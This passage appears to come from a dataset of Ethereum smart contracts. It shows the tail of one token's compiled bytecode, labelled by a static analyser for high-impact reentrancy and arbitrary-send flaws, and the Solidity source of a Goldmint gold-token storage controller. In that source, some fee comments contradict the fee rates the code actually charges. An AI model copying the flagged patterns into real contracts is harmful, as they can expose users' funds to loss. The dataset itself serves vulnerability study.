190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200711983a77afa0df11a068cc4275c732db22d36e99a3513127e6fe9e854fef4064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,257
0x4554134be58f741605c5f04fa9cc69ba955c76e6
pragma solidity ^0.4.19; contract IGold { function balanceOf(address _owner) constant returns (uint256); function issueTokens(address _who, uint _tokens); function burnTokens(address _who, uint _tokens); } // StdToken inheritance is commented, because no &#39;totalSupply&#39; needed contract IMNTP { /*is StdToken */ function balanceOf(address _owner) constant returns (uint256); // Additional methods that MNTP contract provides function lockTransfer(bool _lock); function issueTokens(address _who, uint _tokens); function burnTokens(address _who, uint _tokens); } contract SafeMath { function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } } contract CreatorEnabled { address public creator = 0x0; modifier onlyCreator() { require(msg.sender == creator); _; } function changeCreator(address _to) public onlyCreator { creator = _to; } } contract StringMover { function stringToBytes32(string s) constant returns(bytes32){ bytes32 out; assembly { out := mload(add(s, 32)) } return out; } function stringToBytes64(string s) constant returns(bytes32,bytes32){ bytes32 out; bytes32 out2; assembly { out := mload(add(s, 32)) out2 := mload(add(s, 64)) } return (out,out2); } function bytes32ToString(bytes32 x) constant returns (string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } function bytes64ToString(bytes32 x, bytes32 y) constant returns (string) { bytes memory bytesString = new bytes(64); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } for (j = 0; j < 32; j++) { char = byte(bytes32(uint(y) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } } contract Storage is SafeMath, StringMover { function Storage() public { controllerAddress = msg.sender; } address public controllerAddress = 0x0; modifier onlyController() { require(msg.sender==controllerAddress); _; } function setControllerAddress(address _newController) onlyController { controllerAddress = _newController; } address public hotWalletAddress = 0x0; function setHotWalletAddress(address _address) onlyController { hotWalletAddress = _address; } // Fields - 1 mapping(uint => string) docs; uint public docCount = 0; // Fields - 2 mapping(string => mapping(uint => int)) fiatTxs; mapping(string => uint) fiatBalancesCents; mapping(string => uint) fiatTxCounts; uint fiatTxTotal = 0; // Fields - 3 mapping(string => mapping(uint => int)) goldTxs; mapping(string => uint) goldHotBalances; mapping(string => uint) goldTxCounts; uint goldTxTotal = 0; // Fields - 4 struct Request { address sender; string userId; string requestHash; bool buyRequest; // otherwise - sell // 0 - init // 1 - processed // 2 - cancelled uint8 state; } mapping (uint=>Request) requests; uint public requestsCount = 0; /////// function addDoc(string _ipfsDocLink) public onlyController returns(uint) { docs[docCount] = _ipfsDocLink; uint out = docCount; docCount++; return out; } function getDocCount() public constant returns (uint) { return docCount; } function getDocAsBytes64(uint _index) public constant returns (bytes32,bytes32) { require(_index < docCount); return stringToBytes64(docs[_index]); } function addFiatTransaction(string _userId, int _amountCents) public onlyController returns(uint) { require(0 != _amountCents); uint c = fiatTxCounts[_userId]; fiatTxs[_userId][c] = _amountCents; if (_amountCents > 0) { fiatBalancesCents[_userId] = safeAdd(fiatBalancesCents[_userId], uint(_amountCents)); } else { fiatBalancesCents[_userId] = safeSub(fiatBalancesCents[_userId], uint(-_amountCents)); } fiatTxCounts[_userId] = safeAdd(fiatTxCounts[_userId], 1); fiatTxTotal++; return c; } function getFiatTransactionsCount(string _userId) public constant returns (uint) { return fiatTxCounts[_userId]; } function getAllFiatTransactionsCount() public constant returns (uint) { return fiatTxTotal; } function getFiatTransaction(string _userId, uint _index) public constant returns(int) { require(_index < fiatTxCounts[_userId]); return fiatTxs[_userId][_index]; } function getUserFiatBalance(string _userId) public constant returns(uint) { return fiatBalancesCents[_userId]; } function addGoldTransaction(string _userId, int _amount) public onlyController returns(uint) { require(0 != _amount); uint c = goldTxCounts[_userId]; goldTxs[_userId][c] = _amount; if (_amount > 0) { goldHotBalances[_userId] = safeAdd(goldHotBalances[_userId], uint(_amount)); } else { goldHotBalances[_userId] = safeSub(goldHotBalances[_userId], uint(-_amount)); } goldTxCounts[_userId] = safeAdd(goldTxCounts[_userId], 1); goldTxTotal++; return c; } function getGoldTransactionsCount(string _userId) public constant returns (uint) { return goldTxCounts[_userId]; } function getAllGoldTransactionsCount() public constant returns (uint) { return goldTxTotal; } function getGoldTransaction(string _userId, uint _index) public constant returns(int) { require(_index < goldTxCounts[_userId]); return goldTxs[_userId][_index]; } function getUserHotGoldBalance(string _userId) public constant returns(uint) { return goldHotBalances[_userId]; } function addBuyTokensRequest(address _who, string _userId, string _requestHash) public onlyController returns(uint) { Request memory r; r.sender = _who; r.userId = _userId; r.requestHash = _requestHash; r.buyRequest = true; r.state = 0; requests[requestsCount] = r; uint out = requestsCount; requestsCount++; return out; } function addSellTokensRequest(address _who, string _userId, string _requestHash) onlyController returns(uint) { Request memory r; r.sender = _who; r.userId = _userId; r.requestHash = _requestHash; r.buyRequest = false; r.state = 0; requests[requestsCount] = r; uint out = requestsCount; requestsCount++; return out; } function getRequestsCount() public constant returns(uint) { return requestsCount; } function getRequest(uint _index) public constant returns( address a, bytes32 userId, bytes32 hashA, bytes32 hashB, bool buy, uint8 state) { require(_index < requestsCount); Request memory r = requests[_index]; bytes32 userBytes = stringToBytes32(r.userId); var (out1, out2) = stringToBytes64(r.requestHash); return (r.sender, userBytes, out1, out2, r.buyRequest, r.state); } function cancelRequest(uint _index) onlyController public { require(_index < requestsCount); require(0==requests[_index].state); requests[_index].state = 2; } function setRequestProcessed(uint _index) onlyController public { requests[_index].state = 1; } } contract GoldFiatFee is CreatorEnabled, StringMover { string gmUserId = ""; // Functions: function GoldFiatFee(string _gmUserId) { creator = msg.sender; gmUserId = _gmUserId; } function getGoldmintFeeAccount() public constant returns(bytes32) { bytes32 userBytes = stringToBytes32(gmUserId); return userBytes; } function setGoldmintFeeAccount(string _gmUserId) public onlyCreator { gmUserId = _gmUserId; } function calculateBuyGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint) { return 0; } function calculateSellGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint) { // If the sender holds 0 MNTP, then the transaction fee is 3% fiat, // If the sender holds at least 10 MNTP, then the transaction fee is 2% fiat, // If the sender holds at least 1000 MNTP, then the transaction fee is 1.5% fiat, // If the sender holds at least 10000 MNTP, then the transaction fee is 1% fiat, if (_mntpBalance >= (10000 * 1 ether)) { return (75 * _goldValue / 10000); } if (_mntpBalance >= (1000 * 1 ether)) { return (15 * _goldValue / 1000); } if (_mntpBalance >= (10 * 1 ether)) { return (25 * _goldValue / 1000); } // 3% return (3 * _goldValue / 100); } } contract IGoldFiatFee { function getGoldmintFeeAccount()public constant returns(bytes32); function calculateBuyGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint); function calculateSellGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint); } contract StorageController is SafeMath, CreatorEnabled, StringMover { Storage public stor; IMNTP public mntpToken; IGold public goldToken; IGoldFiatFee public fiatFee; address public ethDepositAddress = 0x0; address public managerAddress = 0x0; event NewTokenBuyRequest(address indexed _from, string indexed _userId); event NewTokenSellRequest(address indexed _from, string indexed _userId); event RequestCancelled(uint indexed _reqId); event RequestProcessed(uint indexed _reqId); event EthDeposited(uint indexed _requestId, address indexed _address, uint _ethValue); modifier onlyManagerOrCreator() { require(msg.sender == managerAddress || msg.sender == creator); _; } function StorageController(address _mntpContractAddress, address _goldContractAddress, address _storageAddress, address _fiatFeeContract) { creator = msg.sender; if (0 != _storageAddress) { // use existing storage stor = Storage(_storageAddress); } else { stor = new Storage(); } require(0x0!=_mntpContractAddress); require(0x0!=_goldContractAddress); require(0x0!=_fiatFeeContract); mntpToken = IMNTP(_mntpContractAddress); goldToken = IGold(_goldContractAddress); fiatFee = IGoldFiatFee(_fiatFeeContract); } function setEthDepositAddress(address _address) public onlyCreator { ethDepositAddress = _address; } function setManagerAddress(address _address) public onlyCreator { managerAddress = _address; } function getEthDepositAddress() public constant returns (address) { return ethDepositAddress; } // Only old controller can call setControllerAddress function changeController(address _newController) public onlyCreator { stor.setControllerAddress(_newController); } function setHotWalletAddress(address _hotWalletAddress) public onlyCreator { stor.setHotWalletAddress(_hotWalletAddress); } function getHotWalletAddress() public constant returns (address) { return stor.hotWalletAddress(); } function changeFiatFeeContract(address _newFiatFee) public onlyCreator { fiatFee = IGoldFiatFee(_newFiatFee); } function addDoc(string _ipfsDocLink) public onlyCreator returns(uint) { return stor.addDoc(_ipfsDocLink); } function getDocCount() public constant returns (uint) { return stor.docCount(); } function getDoc(uint _index) public constant returns (string) { var (x, y) = stor.getDocAsBytes64(_index); return bytes64ToString(x,y); } // _amountCents can be negative // returns index in user array function addFiatTransaction(string _userId, int _amountCents) public onlyManagerOrCreator returns(uint) { return stor.addFiatTransaction(_userId, _amountCents); } function getFiatTransactionsCount(string _userId) public constant returns (uint) { return stor.getFiatTransactionsCount(_userId); } function getAllFiatTransactionsCount() public constant returns (uint) { return stor.getAllFiatTransactionsCount(); } function getFiatTransaction(string _userId, uint _index) public constant returns(int) { return stor.getFiatTransaction(_userId, _index); } function getUserFiatBalance(string _userId) public constant returns(uint) { return stor.getUserFiatBalance(_userId); } function addGoldTransaction(string _userId, int _amount) public onlyManagerOrCreator returns(uint) { return stor.addGoldTransaction(_userId, _amount); } function getGoldTransactionsCount(string _userId) public constant returns (uint) { return stor.getGoldTransactionsCount(_userId); } function getAllGoldTransactionsCount() public constant returns (uint) { return stor.getAllGoldTransactionsCount(); } function getGoldTransaction(string _userId, uint _index) public constant returns(int) { require(keccak256(_userId) != keccak256("")); return stor.getGoldTransaction(_userId, _index); } function getUserHotGoldBalance(string _userId) public constant returns(uint) { require(keccak256(_userId) != keccak256("")); return stor.getUserHotGoldBalance(_userId); } function addBuyTokensRequest(string _userId, string _requestHash) public returns(uint) { require(keccak256(_userId) != keccak256("")); NewTokenBuyRequest(msg.sender, _userId); return stor.addBuyTokensRequest(msg.sender, _userId, _requestHash); } function addSellTokensRequest(string _userId, string _requestHash) public returns(uint) { require(keccak256(_userId) != keccak256("")); NewTokenSellRequest(msg.sender, _userId); return stor.addSellTokensRequest(msg.sender, _userId, _requestHash); } function getRequestsCount() public constant returns(uint) { return stor.getRequestsCount(); } function getRequest(uint _index) public constant returns(address, string, string, bool, uint8) { var (sender, userIdBytes, hashA, hashB, buy, state) = stor.getRequest(_index); string memory userId = bytes32ToString(userIdBytes); string memory hash = bytes64ToString(hashA, hashB); return (sender, userId, hash, buy, state); } function cancelRequest(uint _index) onlyManagerOrCreator public { RequestCancelled(_index); stor.cancelRequest(_index); } function processRequest(uint _index, uint _amountCents, uint _centsPerGold) onlyManagerOrCreator public { require(_index < getRequestsCount()); var (sender, userId, hash, isBuy, state) = getRequest(_index); require(0 == state); if (isBuy) { processBuyRequest(userId, sender, _amountCents, _centsPerGold); } else { processSellRequest(userId, sender, _amountCents, _centsPerGold); } // 3 - update state stor.setRequestProcessed(_index); // 4 - send event RequestProcessed(_index); } function processBuyRequest(string _userId, address _userAddress, uint _amountCents, uint _centsPerGold) internal { require(keccak256(_userId) != keccak256("")); uint userFiatBalance = getUserFiatBalance(_userId); require(userFiatBalance > 0); if (_amountCents > userFiatBalance) { _amountCents = userFiatBalance; } uint userMntpBalance = mntpToken.balanceOf(_userAddress); uint fee = fiatFee.calculateBuyGoldFee(userMntpBalance, _amountCents); require(_amountCents > fee); // 1 - issue tokens minus fee uint amountMinusFee = _amountCents; if (fee > 0) { amountMinusFee = safeSub(_amountCents, fee); } require(amountMinusFee > 0); uint tokens = (uint(amountMinusFee) * 1 ether) / _centsPerGold; issueGoldTokens(_userAddress, tokens); // request from hot wallet if (isHotWallet(_userAddress)) { addGoldTransaction(_userId, int(tokens)); } // 2 - add fiat tx // negative for buy (total amount including fee!) addFiatTransaction(_userId, - int(_amountCents)); // 3 - send fee to Goldmint // positive for sell if (fee > 0) { string memory gmAccount = bytes32ToString(fiatFee.getGoldmintFeeAccount()); addFiatTransaction(gmAccount, int(fee)); } } function processSellRequest(string _userId, address _userAddress, uint _amountCents, uint _centsPerGold) internal { require(keccak256(_userId) != keccak256("")); uint tokens = (uint(_amountCents) * 1 ether) / _centsPerGold; uint tokenBalance = goldToken.balanceOf(_userAddress); if (isHotWallet(_userAddress)) { tokenBalance = getUserHotGoldBalance(_userId); } if (tokenBalance < tokens) { tokens = tokenBalance; _amountCents = uint((tokens * _centsPerGold) / 1 ether); } burnGoldTokens(_userAddress, tokens); // request from hot wallet if (isHotWallet(_userAddress)) { addGoldTransaction(_userId, - int(tokens)); } // 2 - add fiat tx uint userMntpBalance = mntpToken.balanceOf(_userAddress); uint fee = fiatFee.calculateSellGoldFee(userMntpBalance, _amountCents); require(_amountCents > fee); uint amountMinusFee = _amountCents; if (fee > 0) { amountMinusFee = safeSub(_amountCents, fee); } require(amountMinusFee > 0); // positive for sell addFiatTransaction(_userId, int(amountMinusFee)); // 3 - send fee to Goldmint if (fee > 0) { string memory gmAccount = bytes32ToString(fiatFee.getGoldmintFeeAccount()); addFiatTransaction(gmAccount, int(fee)); } } //////// INTERNAL REQUESTS FROM HOT WALLET function processInternalRequest(string _userId, bool _isBuy, uint _amountCents, uint _centsPerGold) onlyManagerOrCreator public { if (_isBuy) { processBuyRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold); } else { processSellRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold); } } function transferGoldFromHotWallet(address _to, uint _value, string _userId) onlyManagerOrCreator public { require(keccak256(_userId) != keccak256("")); uint balance = getUserHotGoldBalance(_userId); require(balance >= _value); goldToken.burnTokens(getHotWalletAddress(), _value); goldToken.issueTokens(_to, _value); addGoldTransaction(_userId, -int(_value)); } //////// function issueGoldTokens(address _userAddress, uint _tokenAmount) internal { require(0!=_tokenAmount); goldToken.issueTokens(_userAddress, _tokenAmount); } function burnGoldTokens(address _userAddress, uint _tokenAmount) internal { require(0!=_tokenAmount); goldToken.burnTokens(_userAddress, _tokenAmount); } function isHotWallet(address _address) internal returns(bool) { return _address == getHotWalletAddress(); } /////// function depositEth(uint _requestId) public payable { require(ethDepositAddress != 0x0); //min deposit is 0.01 ETH require(msg.value >= 0.01 * 1 ether); ethDepositAddress.transfer(msg.value); EthDeposited(_requestId, msg.sender, msg.value); } // do not allow to send money to this contract... function() external payable { revert(); } }
